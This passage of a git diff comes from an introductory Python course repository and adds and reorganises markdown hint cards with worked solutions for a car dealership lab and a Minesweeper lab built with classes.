+Finish writing `print_matching()` that prints all the vehicles to satisfy the attribute `user_attr`. The type of attribute is stored in `attribute` as a string. `print_matching()` is an extremely useful function for a car dealership because it allows for customers to print out cars in the lot that match the criterion, or `attribute`, they are looking for. It helps customers find cars they are interested in.
+
+
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/4.md b/Module3_Labs/Lab2_CarDealershipLab/4.md
new file mode 100644
index 00000000..1f7c8d73
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/4.md
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+Finish writing `print_matching()` that prints all the vehicles to satisfy the attribute `user_attr`. The type of attribute is stored in `attribute` as a string. `print_matching()` is an extremely useful function for a car dealership because it allows for customers to print out cars in the lot that match the criterion, or `attribute`, they are looking for. It helps customers find cars they are interested in.
+
+
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/41 2.md b/Module3_Labs/Lab2_CarDealershipLab/41 2.md
new file mode 100644
index 00000000..a3efd470
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/41 2.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+When a vehicle has the user's attribute `user_attr`, call `print_info()`.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/41.md b/Module3_Labs/Lab2_CarDealershipLab/41.md
new file mode 100644
index 00000000..a3efd470
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/41.md
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+When a vehicle has the user's attribute `user_attr`, call `print_info()`.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/411 2.md b/Module3_Labs/Lab2_CarDealershipLab/411 2.md
new file mode 100644
index 00000000..bb1c2832
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/411 2.md
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+Iterate through all vehicles using a **for loop**. We need to know which attribute we should be comparing for to `user_attr`. This is our first condition in the **if statement**. Then, we need to actually compare the appropriate instance variable to `user_attr`. If both are `True`, then call `print_info()` by typing the variable holding the instance (variable), a dot, then `print_info()`.
+
+****
+
+```python
+for vehicle in vehicles:
+ if (attribute == "Make" and vehicle.make == user_attr or
+ attribute == "Model" and vehicle.model == user_attr or
+ attribute == "Year" and vehicle.year == user_attr):
+ vehicle.print_info()
+```
+
+
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/411.md b/Module3_Labs/Lab2_CarDealershipLab/411.md
new file mode 100644
index 00000000..bb1c2832
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/411.md
@@ -0,0 +1,20 @@
+
+
+
+
+
+
+Iterate through all vehicles using a **for loop**. We need to know which attribute we should be comparing for to `user_attr`. This is our first condition in the **if statement**. Then, we need to actually compare the appropriate instance variable to `user_attr`. If both are `True`, then call `print_info()` by typing the variable holding the instance (variable), a dot, then `print_info()`.
+
+****
+
+```python
+for vehicle in vehicles:
+ if (attribute == "Make" and vehicle.make == user_attr or
+ attribute == "Model" and vehicle.model == user_attr or
+ attribute == "Year" and vehicle.year == user_attr):
+ vehicle.print_info()
+```
+
+
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/5 2.md b/Module3_Labs/Lab2_CarDealershipLab/5 2.md
new file mode 100644
index 00000000..55dbb086
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/5 2.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+`print_vehicles()` communicates directly with `main()`.
+
+This function that runs all the other lower-level functions to print the correct vehicles.
+
+It has three parts:
+
+1. Handling choice 1 (Printing all vehicles)
+2. Handling choices 2-4 (Printing by an attribute)
+
+ * Choice 2: Prints unique make
+ * Choice 3: Prints unique model
+ * Choice 4: Prints unique year
+3. Handling choices 5-7 (Printing by type of vehicle)
+ * Choice 5: Prints `user_attr` make
+ * Choice 6: Prints `user_attr` model
+ * Choice 7: Prints `user_attr` year
+
+Write the complete function.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/5.md b/Module3_Labs/Lab2_CarDealershipLab/5.md
new file mode 100644
index 00000000..55dbb086
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/5.md
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+`print_vehicles()` communicates directly with `main()`.
+
+This function that runs all the other lower-level functions to print the correct vehicles.
+
+It has three parts:
+
+1. Handling choice 1 (Printing all vehicles)
+2. Handling choices 2-4 (Printing by an attribute)
+
+ * Choice 2: Prints unique make
+ * Choice 3: Prints unique model
+ * Choice 4: Prints unique year
+3. Handling choices 5-7 (Printing by type of vehicle)
+ * Choice 5: Prints `user_attr` make
+ * Choice 6: Prints `user_attr` model
+ * Choice 7: Prints `user_attr` year
+
+Write the complete function.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/51 2.md b/Module3_Labs/Lab2_CarDealershipLab/51 2.md
new file mode 100644
index 00000000..1d3f234b
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/51 2.md
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+Utilize the `print_info()` function.
+
+Choices 2-4 are mostly utilizing your already written functions appropriately as well as the `choices` dictionary to convert between choice number (integer) to choice name (string)/
+
+Choices 5-7 require calling instance methods based on `vehicle_type()`'s return value.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/51.md b/Module3_Labs/Lab2_CarDealershipLab/51.md
new file mode 100644
index 00000000..1d3f234b
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/51.md
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+Utilize the `print_info()` function.
+
+Choices 2-4 are mostly utilizing your already written functions appropriately as well as the `choices` dictionary to convert between choice number (integer) to choice name (string)/
+
+Choices 5-7 require calling instance methods based on `vehicle_type()`'s return value.
\ No newline at end of file
diff --git a/Module3_Labs/Lab2_CarDealershipLab/511 2.md b/Module3_Labs/Lab2_CarDealershipLab/511 2.md
new file mode 100644
index 00000000..f7aa9757
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/511 2.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+Check that choice is 1 first, then iterate through all the vehicles and call `print_info()`.
+
+```python
+if (choice == 1):
+ for vehicle in vehicles:
+ vehicle.print_info()
+```
+
+
+
+For choices 2-4, call `print_unique()`, get the user's name of the attribute using `input()`, and call `print_matching()` to print out the matching vehicles based on the user's specific attribute name.
+
+This should all be done in an **elif** statement for choices 2-4 only.
+
+```python
+elif (choice >= 2 and choice <= 4):
+ print_unique(vehicles, choices[choice])
+ user_attr = input(f"Enter a {choices[choice]}: ")
+ print_matching(vehicles, choices[choice], user_attr)
+```
+
+For choices 5-7, check the return type of `vehicle_type()` for each instance. This means you have to iterate through all class instances in `vehicles`.
+
+```python
+else:
+ for vehicle in vehicles:
+ if (vehicle.vehicle_type() == choices[choice]):
+ vehicle.print_info()
+```
+
diff --git a/Module3_Labs/Lab2_CarDealershipLab/511.md b/Module3_Labs/Lab2_CarDealershipLab/511.md
new file mode 100644
index 00000000..f7aa9757
--- /dev/null
+++ b/Module3_Labs/Lab2_CarDealershipLab/511.md
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+Check that choice is 1 first, then iterate through all the vehicles and call `print_info()`.
+
+```python
+if (choice == 1):
+ for vehicle in vehicles:
+ vehicle.print_info()
+```
+
+
+
+For choices 2-4, call `print_unique()`, get the user's name of the attribute using `input()`, and call `print_matching()` to print out the matching vehicles based on the user's specific attribute name.
+
+This should all be done in an **elif** statement for choices 2-4 only.
+
+```python
+elif (choice >= 2 and choice <= 4):
+ print_unique(vehicles, choices[choice])
+ user_attr = input(f"Enter a {choices[choice]}: ")
+ print_matching(vehicles, choices[choice], user_attr)
+```
+
+For choices 5-7, check the return type of `vehicle_type()` for each instance. This means you have to iterate through all class instances in `vehicles`.
+
+```python
+else:
+ for vehicle in vehicles:
+ if (vehicle.vehicle_type() == choices[choice]):
+ vehicle.print_info()
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/1.md b/Module3_Labs/Lab3_Minesweeper/Cards/1.md
index 20e70680..667937dd 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/1.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/1.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
For this lab, let's use what we learned about *object-oriented programming* to build a classic and nostalgic **Minesweeper** game in Python!

diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/2.md b/Module3_Labs/Lab3_Minesweeper/Cards/2.md
index b40fb616..0c3e0d12 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/2.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/2.md
@@ -1,20 +1,14 @@
-
-
-
-
-
-
Here are a couple examples of how your output should look:
-
+
After the first move "55", then the board looks like this:
-.PNG)
+.PNG)
A little further down the game, I have made some more moves, and I know a flag is at "36". If I want to place a flag there, it would look like this:
-.PNG)
+.PNG)
Notice the "F" at column 3, row 6.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/3-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/3-1-1.md
new file mode 100644
index 00000000..667c95ff
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/3-1-1.md
@@ -0,0 +1,33 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 3-1-1 Step 1
+### name
+```
+Constructor Code
+```
+### md_content
+```
+
+To initialize attributes in the `Cell` class, we should make a **constructor**:
+```
+
+### code_snippet
+```python
+def __init__(self, is_mine, is_visible=False, is_flagged=False):
+ self.is_mine = is_mine
+ self.is_visible = is_visible
+ self.is_flagged = is_flagged
+```
+
+## 3-1-1 Step 2
+### name
+```
+Constructor Code Explained
+```
+### md_content
+```
+Remember we use `__init__` to define constructors in Python. By default, `is_visible` and `is_flagged` is `False`, since our cells are all initialized at the start of the game.
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/3-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/3-1.md
new file mode 100644
index 00000000..d46a3cde
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/3-1.md
@@ -0,0 +1,30 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 3-1 Step 1
+
+### name
+
+```
+How to Use Instance Variables
+```
+
+### md_content
+```
+In the constructor of our `Cell` class, we will store whether the cell is visible, flagged or is a mine. Therefore we have to add all those properties as **instance variables**.
+```
+## 3-1 Step 2
+### name
+```
+Naming your Instance Variables
+```
+### md_content
+```
+We recommend adding instance variables to your class with the following variable names:
+
+- `is_mine` (indicates that the cell is a mine)
+- `is_visible` (indicates that the cell has been selected by the user and is visible; by default, this attribute is **false**)
+- `is_flagged` (indicates that the cell has been flagged by the user; by default, this attribute is **false**)
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/3-2-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/3-2-1.md
new file mode 100644
index 00000000..cbd9cc0d
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/3-2-1.md
@@ -0,0 +1,70 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 3-2-1 Step 1
+### name
+```
+Setter Syntax
+```
+### md_content
+```
+Each setter takes in a `self` as an argument. `self` refers to a specific instance of our class and under the hood, it ensures that we are calling the method on the correct instance of our class.
+
+Therefore, whenever we create methods inside our class, we must pass in `self`.
+```
+### code_snippet
+```python
+def setter_name(self):
+ # insert your setter implementation here
+```
+## 3-2-1 Step 2
+### name
+```
+show() Setter
+```
+### md_content
+```
+We execute the `show()` setter whenever we want to make a tile **visible**, therefore all we have to do is set the `is_visible` instance variable of `self` to True.
+Note that we don't need a setter for the other way around - if a tile is visible it cannot become invisible!
+```
+### code_snippet
+```python
+def show(self):
+ self.is_visible = True
+```
+## 3-2-1 Step 3
+### name
+```
+flag() Setter
+```
+### md_content
+```
+The `flag()` setter is run whenever the user wants to flag/unflag a tile. We just have to invert `self.is_flagged`.
+Note that the `not` keyword inverts variables.
+```
+
+### code_snippet
+```python
+def flag(self):
+ self.is_flagged = not self.is_flagged
+```
+
+## 3-2-1 Step 4
+### name
+```
+place_mine() Setter
+```
+### md_content
+```
+
+The `place_mine()` setter is run to indicate that this tile has a mine. We just have to set `self.is_mine` to `True`:
+```
+### code_snippet
+```python
+def place_mine(self):
+ self.is_mine = True
+```
+
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/3-2.md b/Module3_Labs/Lab3_Minesweeper/Cards/3-2.md
new file mode 100644
index 00000000..d8cbc149
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/3-2.md
@@ -0,0 +1,29 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 3-2 Step 1
+### name
+```
+How to Use Setters
+```
+### md_content
+```
+The `Cell` class will have **setters** for its attributes. We have three attributes `is_mine`, `is_visible` and `is_flagged`, all of which will change due to user input during the game. Therefore, we will have a setter corresponding to each attribute.
+```
+## 3-2 Step 2
+### name
+```
+Setter Functionality
+```
+### md_content
+```
+We recommend adding setters to your `Cell` class with the following variable names:
+
+- `show` (shows what is inside the cell by setting `is_visible` to true)
+ - This setter will run when a user wants to show a tile
+- `flag` (flags/unflags a cell by inverting `is_flagged`)
+ - Flags can be removed!
+- `place_mine` (places a mine in a cell by setting `is_mine` to true; **used only when creating the board**)
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/3.md b/Module3_Labs/Lab3_Minesweeper/Cards/3.md
index 9d09e019..18e0ec25 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/3.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/3.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
What is the board composed of? Squares or as we will call it in our program, **cells!**
Let's create a **cell** object that we can use for our Minesweeper board! We can do this by building a `Cell` class.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/31.md b/Module3_Labs/Lab3_Minesweeper/Cards/31.md
deleted file mode 100644
index 66cf7249..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/31.md
+++ /dev/null
@@ -1,21 +0,0 @@
-## Instance Variables
-
-### Step 1: How to Use Instance Variables
-
-In the constructor of our `Cell` class, we will store whether the cell is visible, flagged or is a mine. Therefore we have to add all those properties as **instance variables**.
-
-------------------------------------
-
-picture idea: minesweeper flag
-
-### Step 2: Naming your Instance Variables
-
-We recommend adding instance variables to your class with the following variable names:
-
-- `is_mine` (indicates that the cell is a mine)
-- `is_visible` (indicates that the cell has been selected by the user and is visible; by default, this attribute is **false**)
-- `is_flagged` (indicates that the cell has been flagged by the user; by default, this attribute is **false**)
-
-----------
-
-picture idea: minesweeper mine
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/311.md b/Module3_Labs/Lab3_Minesweeper/Cards/311.md
deleted file mode 100644
index bcc1bf51..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/311.md
+++ /dev/null
@@ -1,21 +0,0 @@
-## Constructor of the Cell class
-
-### Step 1: Constructor Code
-
-To initialize attributes in the `Cell` class, we should make a **constructor**:
-
-```python
-def __init__(self, is_mine, is_visible=False, is_flagged=False):
- self.is_mine = is_mine
- self.is_visible = is_visible
- self.is_flagged = is_flagged
-```
-
-### Step 2: Constructor Code Explained
-
-Remember we use `__init__` to define constructors in Python. By default, `is_visible` and `is_flagged` is `False`, since our cells are all initialized at the start of the game.
-
----
-
-picture idea: actual construction clipart
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/32.md b/Module3_Labs/Lab3_Minesweeper/Cards/32.md
deleted file mode 100644
index 49d790d1..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/32.md
+++ /dev/null
@@ -1,23 +0,0 @@
-## Setters of the Cell class
-
-### Step 1: How to Use Setters
-
-The `Cell` class will have **setters** for its attributes. We have three attributes `is_mine`, `is_visible` and `is_flagged`, all of which will change due to user input during the game. Therefore, we will have a setter corresponding to each attribute.
-
----
-
-picture: dinner table being set?
-
-### Step 2: Setter Functionality
-
-We recommend adding setters to your `Cell` class with the following variable names:
-
-- `show` (shows what is inside the cell by setting `is_visible` to true)
- - This setter will run when a user wants to show a tile
-- `flag` (flags/unflags a cell by inverting `is_flagged`)
- - Flags can be removed!
-- `place_mine` (places a mine in a cell by setting `is_mine` to true; **used only when creating the board**)
-
----
-
-picture: person pulling curtain to "show" a student coding
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/321.md b/Module3_Labs/Lab3_Minesweeper/Cards/321.md
deleted file mode 100644
index 86f84358..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/321.md
+++ /dev/null
@@ -1,46 +0,0 @@
-## Setters of the Cell class Explained
-
-### Step 1: Setter Syntax
-
-```python
-def setter_name(self):
- # insert your setter implementation here
-```
-
-Each setter takes in a `self` as an argument. `self` refers to a specific instance of our class and under the hood, it ensures that we are calling the method on the correct instance of our class.
-
-Therefore, whenever we create methods inside our class, we must pass in `self`.
-
-### Step 2: show() Setter
-
-We execute the `show()` setter whenever we want to make a tile **visible**, therefore all we have to do is set the `is_visible` instance variable of `self` to True.
-
-```python
-def show(self):
- self.is_visible = True
-```
-
-Note that we don't need a setter for the other way around - if a tile is visible it cannot become invisible!
-
-### Step 3: flag() Setter
-
-The `flag()` setter is run whenever the user wants to flag/unflag a tile. We just have to invert `self.is_flagged`:
-
-```python
-def flag(self):
- self.is_flagged = not self.is_flagged
-```
-
-Note that the `not` keyword inverts variables.
-
-### Step 4: place_mine() Setter
-
-The `place_mine()` setter is run to indicate that this tile has a mine. We just have to set `self.is_mine` to `True`:
-
-```python
-def place_mine(self):
- self.is_mine = True
-```
-
-
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-1-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-1-1.md
new file mode 100644
index 00000000..50ec1f1f
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-1-1.md
@@ -0,0 +1,23 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-1-1 Step 1
+
+### name
+```
+`is_in_range` Code
+```
+
+### md_content
+```
+We can find the number of rows with `len(self)` and the number of columns with `len(self[0])`.
+```
+
+### code_snippet
+```python
+def is_in_range(self, row_id, col_id):
+ return 0 <= row_id < len(self) and 0 <= col_id < len(self[0])
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-1-2.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-1-2.md
new file mode 100644
index 00000000..e5336c9b
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-1-2.md
@@ -0,0 +1,24 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-1-2 Step 1
+### name
+```
+`place_mine` Code
+```
+
+### md_content
+```
+The cell can be found with `self[row_id][col_id]`. Because we now have the `Cell` object, we can run the `Cell` class's function `place_mine()` directly.
+```
+
+### code_snippet
+
+```python
+def place_mine(self, row_id, col_id):
+ self[row_id][col_id].place_mine()
+```
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-1.md
new file mode 100644
index 00000000..b8bee064
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-1.md
@@ -0,0 +1,29 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-1 Step 1
+### name
+```
+`is_in_range`
+```
+### md_content
+```
+
+Make sure your `row_id` and `col_id` are within range, i.e. there should be no negative rows/columns or any row/column that is greater than the number of rows and columns.
+```
+### image
+
+
+## 4-1 Step 2
+### name
+```
+`place_mine`
+```
+### md_content
+```
+Locate the cell at `(row_id, col_id)` and then place a mine there using the `Cell` class's `place_mine` function.
+```
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-2-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-2-1.md
new file mode 100644
index 00000000..227d6e5f
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-2-1.md
@@ -0,0 +1,20 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 4-2-1 Step 1
+### name
+```
+`SURROUNDING` Given
+```
+### md_content
+```
+These tuples represent the surrounding cells in all 8 directions.
+```
+### code_snippet
+```python
+SURROUNDING = ((-1, -1), (-1, 0), (-1, 1),
+ (0, -1), (0, 1),
+ (1, -1), (1, 0), (1, 1))
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-2-2.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-2-2.md
new file mode 100644
index 00000000..a49632c4
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-2-2.md
@@ -0,0 +1,33 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-2-2 Step 1
+### name
+```
+Expression for `SURROUNDING`
+```
+### md_content
+```
+This expression will return a tuple of tuples that represent the 8 surrounding coordinates given `SURROUNDING`.
+```
+
+### code_snippet
+```python
+((row_id + surr_row, col_id + surr_col) for (surr_row, surr_col) in SURROUNDING)
+```
+
+## 4-2-2 Step 2
+### name
+```
+Entire code for `get_neighbors`
+```
+### code_snippet
+```python
+def get_neighbours(self, row_id, col_id):
+ SURROUNDING = ((-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1))
+ return ((row_id + surr_row, col_id + surr_col) for (surr_row, surr_col) in SURROUNDING)
+```
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-2.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-2.md
new file mode 100644
index 00000000..ef96fa97
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-2.md
@@ -0,0 +1,37 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-2 Step 1
+
+### name
+
+```
+What are the surrounding cells?
+```
+### md_content
+```
+
+We want to find all 8 of the surrounding cells given a cell's row and column. We can define a tuple or list called `SURROUNDING` that stores the 8 sets of coordinates which define the relationship between the neighbors and a cell.
+```
+
+## 4-2 Step 2
+### name
+```
+A SURROUNDING list?
+```
+### md_content
+```
+For example, the cell directly to the north is the cell in the same column but the previous row (-1), therefore the coordinates for the north direction are (-1, 0).
+```
+
+## 4-2 Step 3
+### name
+```
+Using `SURROUNDING`
+```
+### md_content
+```
+For each set of coordinates in `SURROUNDING`, add them to the given row and column to generate a tuple or list of coordinates. Return that list to return the surrounding coordinates.
+```
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-3-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-3-1.md
new file mode 100644
index 00000000..fe2ccf76
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-3-1.md
@@ -0,0 +1,63 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 4-3-1 Step 1
+
+### name
+```
+Iterating through Individual Cells
+```
+### md_content
+```
+We first iterate through all the cells so that we can act on each `cell`. `remaining` will be returned at the end.
+```
+### code_snippet
+```python
+remaining = 0
+for row in self:
+ for cell in row:
+```
+## 4-3-1 Step 2
+### name
+```
+Incrementing and Decrementing
+```
+### md_content
+```
+If the cell is a mine then we want to increase the number of mines by 1. However if it is currently flagged then the user has determined it is a mine, so we should decrease our count by 1.
+```
+### code_snippet
+```python
+ if cell.is_mine:
+ remaining += 1
+ if cell.is_flagged:
+ remaining -= 1
+ return remaining
+```
+
+
+Picture: mine and flag side by side
+
+## 4-3-1 Step 3
+### name
+```
+The Entire Definition
+```
+### md_content
+```
+Here is the entire `remaining_mines` function:
+````
+### code_snippet
+```python
+@property
+def remaining_mines(self):
+ remaining = 0
+ for row in self:
+ for cell in row:
+ if cell.is_mine:
+ remaining += 1
+ if cell.is_flagged:
+ remaining -= 1
+ return remaining
+```
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-3.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-3.md
new file mode 100644
index 00000000..59b4cab9
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-3.md
@@ -0,0 +1,41 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-3 Step 1
+
+### name
+```
+Finding the cell given `self`
+```
+
+### md_content
+```
+Remember `self` represents the tuple of cells themselves in a 2D array. Therefore you can iterate through each row using `for row in self:` directly.
+```
+## 4-3 Step 2
+
+### name
+```
+Using the Cell
+```
+
+### md_content
+```
+After finding the `row` and then iterating through the row to find each cell, you can check if a cell is a mine or if a cell is flagged using `cell.is_mine` and `cell.is_flagged`. What should you do if a cell is a mine versus if a cell is flagged?
+```
+## 4-3 Step 3
+
+### name
+```
+Return remaining mines
+```
+
+### md_content
+```
+Make sure you return the number of remaining mines (# of mines - # of flags used) when done.
+```
+
+
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-4-1.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-4-1.md
new file mode 100644
index 00000000..510174b4
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-4-1.md
@@ -0,0 +1,68 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+
+## 4-4-1 Step 1
+
+### name
+```
+Iteration
+```
+### md_content
+```
+We can iterate directly on `self.get_neighbors`, there is no need to get the actual `Cell` object pertaining to the given `row_id` and `col_id`.
+```
+### code_snippet
+```python
+sum = 0
+for (surr_row, surr_col) in self.get_neighbors(row_id, col_id):
+```
+## 4-4-1 Step 2
+### name
+```
+Check if valid neighbors are mines
+```
+### md_content
+```
+We call `is_in_range` to check each neighbor's validity and if the cell is a mine.
+```
+### code_snippet
+```python
+ if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine):
+ sum += 1
+return sum
+```
+## 4-4-1 Step 3
+### name
+```
+Solution
+```
+### md_content
+```
+Below is the solution for the `count_surrounding` method:
+```
+### code_snippet
+```python
+def count_surrounding(self, row_id, col_id):
+ sum = 0
+ for (surr_row, surr_col) in self.get_neighbors(row_id, col_id):
+ if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine):
+ sum += 1
+ return sum
+```
+## 4-4-1 Step 4
+### name
+```
+More Compact Solution
+```
+### md_content
+```
+An alternative, more compact version (that is slightly harder to read and understand) can be found here for your reference:
+```
+### code_snippet
+```python
+def count_surrounding(self, row_id, col_id):
+ return sum(1 for (surr_row, surr_col) in self.get_neighbors(row_id, col_id) if (self.is_in_range(surr_row, surr_col) and self[surr_row][surr_col].is_mine))
+```
+
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4-4.md b/Module3_Labs/Lab3_Minesweeper/Cards/4-4.md
new file mode 100644
index 00000000..7ee058f5
--- /dev/null
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4-4.md
@@ -0,0 +1,25 @@
+# image_folder
+Module3_Labs/Lab3_Minesweeper/cards
+
+# steps
+## 4-4 Step 1
+### name
+```
+Helper functions
+```
+### md_content
+```
+Remember that `count_surrounding` should use `get_neighbors` AND `is_in_range`! Ideally you should have those defined already.
+```
+## 4-4 Step 2
+### name
+```
+Purpose of `count_surrounding`
+```
+### md_content
+```
+Remember that `count_surrounding` returns the number of neighbors of a cell that have a mine. Calling `get_neighbors` will let you obtain a list of neighbors. You'll have to check whether they are valid neighbors with `is_in_range` and if the neighbor is valid, how many of them are mines.
+```
+
+### image
+
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/4.md b/Module3_Labs/Lab3_Minesweeper/Cards/4.md
index 5e4a0772..db9b9e0f 100644
--- a/Module3_Labs/Lab3_Minesweeper/Cards/4.md
+++ b/Module3_Labs/Lab3_Minesweeper/Cards/4.md
@@ -1,9 +1,3 @@
-
-
-
-
-
-
What other object(s) does the game has besides cells? **A board! **
Let's create a **board** that we can display for the game! We can do this by developing a `Board` class.
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/41.md b/Module3_Labs/Lab3_Minesweeper/Cards/41.md
deleted file mode 100644
index 6ae21648..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/41.md
+++ /dev/null
@@ -1,18 +0,0 @@
-## Simple helpers: `is_in_range` and `place_mine`
-
-### Step 1: `is_in_range`
-
-Make sure your `row_id` and `col_id` are within range, i.e. there should be no negative rows/columns or any row/column that is greater than the number of rows and columns.
-
----
-
-picture idea: showing range kind of like this
-
-### Step 2: `place_mine`
-
-Locate the cell at `(row_id, col_id)` and then place a mine there using the `Cell` class's `place_mine` function.
-
----
-
-picture idea: worker placing a mine (or some other object??)
-
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/411.md b/Module3_Labs/Lab3_Minesweeper/Cards/411.md
deleted file mode 100644
index 5e65fcfc..00000000
--- a/Module3_Labs/Lab3_Minesweeper/Cards/411.md
+++ /dev/null
@@ -1,10 +0,0 @@
-## `is_in_range` Code
-
-### Step 1: `is_in_range` Code
-
-```python
-def is_in_range(self, row_id, col_id):
- return 0 <= row_id < len(self) and 0 <= col_id < len(self[0])
-```
-
-We can find the number of rows with `len(self)` and the number of columns with `len(self[0])`.
\ No newline at end of file
diff --git a/Module3_Labs/Lab3_Minesweeper/Cards/412.md b/Module3_Labs/Lab3_Minesweeper/Cards/412.md
deleted file mode 100644
